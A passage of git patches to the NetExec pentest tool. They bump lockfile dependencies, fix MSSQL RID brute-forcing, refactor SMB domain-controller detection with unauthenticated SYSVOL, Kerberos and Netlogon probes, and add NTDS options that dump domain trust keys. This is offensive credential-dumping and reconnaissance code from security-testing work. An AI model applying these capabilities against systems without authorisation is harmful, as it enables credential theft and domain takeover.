"sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" }, + { url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" }, + { url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" }, + { url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" }, + { url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" }, + { url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" }, + { url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" }, + { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" }, +] + [[package]] name = "tqdm" -version = "4.67.3" +version = "4.68.4" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama", marker = "sys_platform == 'win32'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/09/a9/6ba95a270c6f1fbcd8dac228323f2777d886cb206987444e4bce66338dd4/tqdm-4.67.3.tar.gz", hash = "sha256:7d825f03f89244ef73f1d4ce193cb1774a8179fd96f31d7e1dcde62092b960bb", size = 169598, upload-time = "2026-02-03T17:35:53.048Z" } +sdist = { url = "https://files.pythonhosted.org/packages/ae/5f/57ff8b434839e70dab45601284ea413e947a63799891b7553e5960a793a8/tqdm-4.68.4.tar.gz", hash = "sha256:19829c9673638f2a0b8617da4cdcb927e831cd88bcfcb6e78d42a4d1af131520", size = 792418, upload-time = "2026-07-07T09:58:18.369Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/16/e1/3079a9ff9b8e11b846c6ac5c8b5bfb7ff225eee721825310c91b3b50304f/tqdm-4.67.3-py3-none-any.whl", hash = "sha256:ee1e4c0e59148062281c49d80b25b67771a127c85fc9676d3be5f243206826bf", size = 78374, upload-time = "2026-02-03T17:35:50.982Z" }, + { url = "https://files.pythonhosted.org/packages/22/2a/5e5e750890ada51017d18d0d4c30da696e5b5bd3180947729927628fc3cb/tqdm-4.68.4-py3-none-any.whl", hash = "sha256:5168118b2368f48c561afda8020fd79195b1bdb0bdf8086b88442c267a315dc2", size = 676612, upload-time = "2026-07-07T09:58:16.256Z" }, ] [[package]] name = "typing-extensions" -version = "4.15.0" +version = "4.16.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, + { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" }, ] [[package]] @@ -2057,11 +2260,11 @@ wheels = [ [[package]] name = "wcwidth" -version = "0.7.0" +version = "0.8.2" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/2c/ee/afaf0f85a9a18fe47a67f1e4422ed6cf1fe642f0ae0a2f81166231303c52/wcwidth-0.7.0.tar.gz", hash = "sha256:90e3a7ea092341c44b99562e75d09e4d5160fe7a3974c6fb842a101a95e7eed0", size = 182132, upload-time = "2026-05-02T16:04:12.653Z" } +sdist = { url = "https://files.pythonhosted.org/packages/34/74/c6428f875774288bec1396f5bfcbc2d925700a4dad61727fd5f2b12f249d/wcwidth-0.8.2.tar.gz", hash = "sha256:91fbef97204b96a3d4d421609b80340b760cf33e26da123ff243d76b1fda8dda", size = 1466253, upload-time = "2026-06-29T18:11:11.601Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/41/52/e465037f5375f43533d1a80b6923955201596a99142ed524d77b571a1418/wcwidth-0.7.0-py3-none-any.whl", hash = "sha256:5d69154c429a82910e241c738cd0e2976fac8a2dd47a1a805f4afed1c0f136f2", size = 110825, upload-time = "2026-05-02T16:04:11.033Z" }, + { url = "https://files.pythonhosted.org/packages/96/42/3e5985a0a7e57de470b320c6d6a1a67c844f6737a587f3d44dd13d1819e7/wcwidth-0.8.2-py3-none-any.whl", hash = "sha256:d63947694a0539a1d51e01eda7caf800c291020e6cdd7e28ad7b14dd33ad4f85", size = 323166, upload-time = "2026-06-29T18:11:09.888Z" }, ] [[package]] From c7a44ade4ad91a4f1c4ef461e35659adea83c23c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 15 Jul 2026 14:17:00 -0400 Subject: [PATCH 097/397] Fix rid bruteforce in MSSQL --- nxc/protocols/mssql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 7fa9746f48..4ffb4fbd1d 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -451,7 +451,7 @@ def rid_brute(self, max_rid=None): # Query known group to determine raw SID & convert to canon raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] - domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] + domain_sid = SID(bytes.fromhex(raw_domain_sid)).formatCanonical()[:-4] except Exception as e: self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") return entries From 1c091a62a8ce9ed2f64326a02dd4e0cf2126fe32 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 15 Jul 2026 21:31:01 +0200 Subject: [PATCH 098/397] Refactor dev dependencies in pyproject.toml Removed specific dependencies from the dev group in pyproject.toml and added a comment about the uv and poetry native dev group. Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- pyproject.toml | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index f6b224146e..65eb708a46 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -83,13 +83,7 @@ format = "{base}+{distance}.{commit}" requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] build-backend = "poetry_dynamic_versioning.backend" -[tool.poetry.group.dev.dependencies] -flake8 = "*" -shiv = "*" -pytest = "^7.2.2" -ruff = "==0.11.0" - -# uv-native dev group (PEP 735) +# uv and poetry native dev group (PEP 735) [dependency-groups] dev = [ "flake8", From 30fb8691d037f74f466a458a3cf5f582b01f24d3 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 15 Jul 2026 21:33:49 +0200 Subject: [PATCH 099/397] Update ruff dependency to latest version Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 65eb708a46..49692fc5be 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -89,7 +89,7 @@ dev = [ "flake8", "shiv", "pytest>=7.2.2,<8", - "ruff==0.11.0", + "ruff", ] # Supply-chain hardening: uv will ignore package artifacts uploaded to indexes From 1438edbe8c7707840f9f4d47ab6dac56bfa79d3f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 15 Jul 2026 16:57:59 -0400 Subject: [PATCH 100/397] Update certipy due to bugs in current github main branch --- poetry.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index 91d8083738..29e1f23207 100644 --- a/poetry.lock +++ b/poetry.lock @@ -516,7 +516,7 @@ dev = ["black (>=23.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-cov (>= [[package]] name = "certipy-ad" -version = "5.0.4" +version = "5.1.0" description = "Active Directory Certificate Services enumeration and abuse" optional = false python-versions = ">=3.10" @@ -544,7 +544,7 @@ bloodhound = ["neo4j (>=5.28.1,<5.29.0)"] type = "git" url = "https://github.com/Pennyw0rth/Certipy" reference = "HEAD" -resolved_reference = "49a4aa6b17d2246491a81f89b0d7d74b732c66d4" +resolved_reference = "069e03113095aa02772aa3d8debea90654933fe4" [[package]] name = "cffi" From 4eac71fa70a8eac3070d318d5db45c131802814f Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 16 Jul 2026 13:28:07 +0200 Subject: [PATCH 101/397] add except --- nxc/protocols/ldap.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index cd4996dcb1..1b53d7f8c2 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -191,6 +191,10 @@ def check_ldaps_cbt(self): self.cbt_status = "No TLS cert" else: raise + except OSError as e: + # Should catch TimeoutError ([Errno 110]), ConnectionRefusedError, host/network unreachable, etc. + self.logger.debug(f"Connection error while checking LDAPS channel binding on {self.host}: {e!s}") + self.cbt_status = "Unknown" def enum_host_info(self): # Enumerate LDAP info From 6b030fce79e599826441c1adc487d5a9c919373f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Thu, 16 Jul 2026 14:03:56 +0200 Subject: [PATCH 102/397] typo --- nxc/protocols/mssql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 16ee0fa5ef..68b19ee512 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -648,7 +648,7 @@ def db_hash(self): return else: self.logger.display("Enumerated logins") - self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Database hash'}") + self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}") self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}") for row in rows: name = row.get("name") From ec54abe82718f1dc07f40ce0ceb6de6a62f14612 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 16 Jul 2026 22:35:14 +0200 Subject: [PATCH 103/397] refactor isdc --- nxc/protocols/smb.py | 176 +++++++++++++++++++++++++++++-------------- 1 file changed, 118 insertions(+), 58 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index dbf342c7c6..ed2919b524 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -31,7 +31,7 @@ from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.krb5.ccache import CCache -from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT, getKerberosTGS +from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT, getKerberosTGS, KerberosError from impacket.krb5.types import KerberosException, Principal from impacket.krb5 import constants from impacket.dcerpc.v5.dtypes import NULL @@ -200,13 +200,11 @@ def enum_host_info(self): self.no_ntlm = True self.logger.debug("NTLM not supported") - if check_guest_account and not self.no_ntlm: - try: - self.conn.login("Guest", "") - self.logger.debug("Guest authentication successful") - self.is_guest = True - except Exception: - self.is_guest = False + # The Kerberos/MSRPC DC probes reach out to ports 88/135; only allow them + # when the DC answer is actually consumed, so a plain scan (especially + # over a pivot) stays on the SMB session it already holds. Tier 1 (SMB) + # runs regardless, so DCs are still flagged whenever a null session works. + need_dc = bool(self.args.generate_hosts_file or self.args.generate_krb5_file or self.args.generate_tgt) # self.domain is the attribute we authenticate with # self.targetDomain is the attribute which gets displayed as host domain @@ -222,9 +220,10 @@ def enum_host_info(self): self.targetDomain = self.conn.getServerDNSDomainName() if not self.targetDomain: # Not sure if that can even happen but now we are safe self.targetDomain = self.hostname + self.is_host_dc(allow_network_probes=need_dc) # SMB (Tier 1) suffices when NTLM is up else: try: - self.is_host_dc() + self.is_host_dc(allow_network_probes=need_dc) # no NTLM: needs 88/135 if the DC answer is wanted # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available if self.isdc and detect_if_ip(self.host): self.hostname, self.domain = LDAPResolution(self.host).get_resolution() @@ -290,6 +289,15 @@ def enum_host_info(self): self.os_arch = self.get_os_arch() + # moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not + if check_guest_account and not self.no_ntlm: + try: + self.conn.login("Guest", "") + self.logger.debug("Guest authentication successful") + self.is_guest = True + except Exception: + self.is_guest = False + try: # DCs seem to want us to logoff first, windows workstations sometimes reset the connection self.conn.logoff() @@ -321,13 +329,12 @@ def print_host_info(self): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" - null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else "" guest = colored(f" (Guest Auth:{self.is_guest})", host_info_colors[1], attrs=["bold"]) if self.is_guest else "" - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}") + isdc = colored(f" (DC:{self.isdc})", host_info_colors[3], attrs=["bold"]) if self.isdc else "" + null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth and not self.isdc else "" + self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}{isdc}") if self.args.generate_hosts_file or self.args.generate_krb5_file: - if self.isdc is None: - self.is_host_dc() if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: dc_part = f" {self.targetDomain}" if self.isdc else "" @@ -843,57 +850,110 @@ def generate_st(self): except Exception as e: self.logger.fail(f"Failed to get ST: {e}") - def check_dc_ports(self, timeout=1): - """Check multiple DC-specific ports in case first check fails""" - import socket - dc_ports = [88, 389, 636, 3268, 9389] # Kerberos, LDAP, LDAPS, Global Catalog, ADWS - open_ports = 0 - - for port in dc_ports: - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(timeout) - result = sock.connect_ex((self.host, port)) - if result == 0: - self.logger.debug(f"Port {port} is open on {self.host}") - open_ports += 1 - sock.close() - except Exception: - pass - # If 3 or more DC ports are open, likely a DC - return open_ports >= 3 - - def is_host_dc(self): + def is_host_dc(self, allow_network_probes=False): if self.isdc is not None: return self.isdc - from impacket.dcerpc.v5 import nrpc, epm + probes = [self._is_dc_via_smb] + if allow_network_probes: + probes += [self._is_dc_via_rpc, self._is_dc_via_kerberos] + + for probe in probes: + result = probe() + if result is not None: + self.isdc = result + return self.isdc + # inconclusive if all probes return None + if allow_network_probes: + self.isdc = False + return self.isdc + + def _is_dc_via_smb(self): + """Tier 1: SYSVOL is published only by DCs. One TREE_CONNECT over the + session we already hold answers without enumerating every share (unlike + listShares). ACCESS_DENIED still proves the share exists, hence a DC. + + Meant to run while the null session is still fresh. When there is no + session, the reason is decisive: a DC with NTLM enabled always accepts + the null bind, so "NTLM on + no null session" means this is NOT a DC. + Only "NTLM disabled" is inconclusive here (a real DC can refuse the null + bind then), so we hand that case off to the Kerberos/RPC tiers. + """ + if not self.null_auth: + if not self.no_ntlm: + self.logger.debug("NTLM enabled but no null session: host is not a DC") + return False + self.logger.debug("No null session (NTLM disabled): deferring to Kerberos/RPC") + return None + try: + tid = self.conn.connectTree("SYSVOL") + self.conn.disconnectTree(tid) + self.logger.debug("SYSVOL reachable over SMB: host is a DC") + return True + except SessionError as e: + if "STATUS_ACCESS_DENIED" in str(e): + self.logger.debug("SYSVOL exists (access denied): host is a DC") + return True + if "STATUS_BAD_NETWORK_NAME" in str(e): + self.logger.debug("No SYSVOL share: host is not a DC") + return False + self.logger.debug(f"SMB DC check inconclusive: {e}") + return None + except Exception as e: + self.logger.debug(f"SMB DC check unavailable: {e}") + return None + + def _is_dc_via_kerberos(self): + """Tier 2: only a KDC answers a Kerberos AS-REQ, and in AD the KDC runs + only on DCs. Pre-auth, no credentials - the fallback for NTLM-disabled + hosts where no SMB session exists. + + The realm need not be correct: a live KDC answers a wrong realm with + KDC_ERR_WRONG_REALM, which proves it is a KDC just as well as + PRINCIPAL_UNKNOWN would. So we use the known domain if we happen to have + one (a PRINCIPAL_UNKNOWN reply is marginally quieter) and otherwise a + placeholder - we never need to actually know the domain. + """ + # targetDomain is not set yet when this runs on the no-NTLM path (it is + # produced later by the isdc-dependent LDAP resolution), so read it + # defensively and fall back to a placeholder - the realm need not be real. + realm = (self.domain or self.args.domain or "NXCPROBE").upper() + user = Principal("nxc_dc_probe", type=constants.PrincipalNameType.NT_PRINCIPAL.value) + try: + # A bogus principal with no pre-auth data cannot obtain a ticket, so + # a live KDC always answers with a KRB-ERROR (PRINCIPAL_UNKNOWN / + # WRONG_REALM / PREAUTH_REQUIRED) -> KerberosError. That reply is the + # proof: a KDC is listening, i.e. this host is a DC. Only a + # transport-level failure (connection refused / timeout) means no KDC. + getKerberosTGT(user, "", realm, "", "", kdcHost=self.host) + except KerberosError as e: + self.logger.debug(f"KDC replied with an error ({e}): host is a DC") + except Exception as e: + self.logger.debug(f"No KDC response (port 88 filtered or not a DC): {e}") + return None + return True - self.logger.debug("Performing authentication attempts...") + def _is_dc_via_rpc(self): + """Tier 3: unauthenticated Netlogon endpoint lookup on 135. NTLM-agnostic + and needs no session, but heavier and noisier than the SMB/Kerberos + probes above, so it only runs when both of those were inconclusive. + """ + from impacket.dcerpc.v5 import nrpc, epm - # First check if port 135 is open - if self._is_port_open(135): - self.logger.debug("Port 135 is open, attempting MSRPC connection...") - try: - epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") - self.isdc = True - return True - except DCERPCException: - self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") - except TimeoutError: - self.logger.debug("Timeout while connecting to host: likely not a DC or host is unreachable.") - except Exception as e: - self.logger.debug(f"Error while connecting to host: {e}") - self.isdc = False + if not self._is_port_open(135): + self.logger.debug("Port 135 closed and no higher-tier signal: treating as not a DC") return False - else: - self.logger.debug("Port 135 is closed, skipping MSRPC check...") - # Fallback to checking DC ports - if self.check_dc_ports(): - self.logger.debug("Host appears to be a DC (multiple DC ports open)") - self.isdc = True - return True - self.isdc = False + + self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...") + try: + epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + return True + except DCERPCException: + self.logger.debug("DCERPCException on Netlogon lookup: probably not a DC") + except TimeoutError: + self.logger.debug("Timeout on Netlogon lookup: likely not a DC or unreachable") + except Exception as e: + self.logger.debug(f"Error on Netlogon lookup: {e}") return False def _is_port_open(self, port, timeout=1): From b62e0e2a22a5ce1f3a4e23034894e649db07a0cf Mon Sep 17 00:00:00 2001 From: Goultarde Date: Thu, 16 Jul 2026 23:05:42 +0200 Subject: [PATCH 104/397] fix(smb/sccm): pass kdcHost/dc_ip to dploot Target so --sccm wmi doesn't hang over Kerberos --- nxc/protocols/smb.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index dbf342c7c6..0ba8077d73 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2164,6 +2164,8 @@ def sccm(self): lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, + kdcHost=self.kdcHost, + dc_ip=self.kdcHost, aesKey=self.aesKey, no_pass=True, use_kcache=self.use_kcache, @@ -2244,6 +2246,7 @@ def dpapi(self): lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, + kdcHost=self.kdcHost, aesKey=self.aesKey, no_pass=True, use_kcache=self.use_kcache, From dd72a956e6e4c8863f3fc3c01cb081bf869a28a8 Mon Sep 17 00:00:00 2001 From: Goultarde Date: Sat, 18 Jul 2026 13:00:34 +0200 Subject: [PATCH 105/397] Add --trust-keys to smb ntds dump Expose impacket secretsdump's trust key extraction (fortra/impacket#2207) through NetExec's --ntds: dumps Trusted Domain Object secrets and derives inter-realm Kerberos (AES256, AES128) and RC4 keys for each trust direction. Also fixes the account-line status stripping in add_hash(), which blindly dropped the last space-separated word of every secret line (meant to strip the trailing "Enabled"/"Disabled" on account lines) and was truncating the trust key lines, which contain spaces but no status suffix. --- nxc/protocols/smb.py | 9 ++++++++- nxc/protocols/smb/proto_args.py | 2 ++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index dbf342c7c6..bab90f7d0c 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2490,13 +2490,18 @@ def add_hash(secret_type, secret, host_id): else: add_hash.nt_lm_secrets += 1 + # NTDS account lines end with a trailing " Enabled"/" Disabled" status word; + # trust key lines (e.g. "partner (Incoming):rc4_hmac:hash") also contain spaces + # but have no status suffix, so only strip the last word when it's actually a status. + has_status = secret.rsplit(" ", 1)[-1] in ("Enabled", "Disabled") + # Log the secret based on args if self.args.enabled: if "Enabled" in secret: secret = " ".join(secret.split(" ")[:-1]) self.logger.highlight(secret) else: - secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret + secret = " ".join(secret.split(" ")[:-1]) if has_status else secret self.logger.highlight(secret) # Filter out computer accounts, history hashes and kerberos keys for adding to db @@ -2548,6 +2553,8 @@ def add_hash(secret_type, secret, host_id): outputFileName=self.output_filename, justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, + trustKeys=self.args.trust_keys, + domainFQDN=self.domain, perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id), ) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 5fbb6f93ec..178f7db850 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -42,6 +42,8 @@ def proto_args(parser, parents): kerb_keys_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") + trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)") + trust_keys_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems") cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") From dc7e0e432d62fc50cb05164c61f12b00fdb38db4 Mon Sep 17 00:00:00 2001 From: Goultarde Date: Sat, 18 Jul 2026 13:33:11 +0200 Subject: [PATCH 106/397] Add --just-trust-keys to smb ntds dump Like --trust-keys but skips account enumeration entirely (implied --just-dc behavior in impacket), emitting only the trust keys. Useful when only the inter-realm keys are needed, for a faster and quieter dump. --- nxc/protocols/smb.py | 1 + nxc/protocols/smb/proto_args.py | 2 ++ 2 files changed, 3 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index bab90f7d0c..7c23f1bfaa 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2554,6 +2554,7 @@ def add_hash(secret_type, secret, host_id): justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, trustKeys=self.args.trust_keys, + justTrustKeys=self.args.just_trust_keys, domainFQDN=self.domain, perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id), ) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 178f7db850..996076a74b 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -43,7 +43,9 @@ def proto_args(parser, parents): enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)") + just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)") trust_keys_arg.make_required = [ntds_arg] + just_trust_keys_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems") cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") From d96e92d8677e4525c41086d4f2a4b1950f79c51b Mon Sep 17 00:00:00 2001 From: Goultarde Date: Sat, 18 Jul 2026 13:48:52 +0200 Subject: [PATCH 107/397] Fix trust-keys dump summary messages --just-trust-keys reused the regular NTDS dump summary ("NTDS hashes", "added to the database", grep-disabled hint), which is meaningless when only trust keys are dumped (no accounts are enumerated). Show a summary specific to that mode instead. --- nxc/protocols/smb.py | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 7c23f1bfaa..fbf446d8b9 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2560,14 +2560,20 @@ def add_hash(secret_type, secret, host_id): ) try: - self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") + if self.args.just_trust_keys: + self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...") + else: + self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" - self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database") - if self.args.kerberos_keys: - self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") - self.logger.display("To extract only enabled accounts from the output file, run the following command: ") - self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") + if self.args.just_trust_keys: + self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}") + else: + self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} 